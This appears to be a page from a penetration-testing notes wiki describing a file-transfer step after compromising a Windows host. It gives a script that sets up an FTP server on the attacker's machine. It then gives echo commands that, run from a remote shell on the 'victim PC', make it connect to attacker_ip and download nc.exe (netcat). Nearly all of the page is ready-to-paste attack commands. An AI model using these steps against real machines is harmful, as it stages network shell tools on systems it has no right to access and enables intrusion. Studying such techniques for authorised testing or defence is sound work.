Skip to content

File transfer FTP

lethanhtung01011980 edited this page Dec 12, 2019 · 6 revisions

Goals

  • Default in most of Windows. But in interactive mode!
  • Must use ftp -s:file_containing_ftp_commands image

In Attacker PC, to install ftp server

  • apt-get update && apt-get install pure-ftpd

In Attacker PC, create setupftp.sh in link

  • #!/bin/bash
  • groupadd ftpgroup
  • useradd -g ftpgroup -d /dev/null -s /etc ftpuser
  • pure-pw useradd ftpuser -u ftpuser -d /ftphome
  • pure-pw mkdb
  • cd /etc/pure-ftpd/auth/
  • ln -s ../conf/PureDB 60pdb
  • mkdir -p /ftphome
  • chown -R ftpuser:ftpgroup /ftphome/
  • /etc/init.d/pure-ftpd restart

In attacker PC, run setupftp.sh

  • chmod 755 setupftp.sh
  • /setupftp.sh

In victim PC, use "echo" to create a file with FTP commands. Replace ftpuser/ftppassword. "bin" is binary mode.

  • SHOULD not have spaces before >>
  • echo open attacker_ip 21> ftp.txt
  • echo USER ftpuser>> ftp.txt
  • echo ftppassword>> ftp.txt
  • echo bin>> ftp.txt
  • echo GET nc.exe>> ftp.txt
  • echo bye>> ftp.txt
  • ftp -v -n -s:ftp.txt

Copy and paste to non-interactive remote shell

  • To copy content of the above file in a non-interactive remote shell
  • To execute and download a file

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally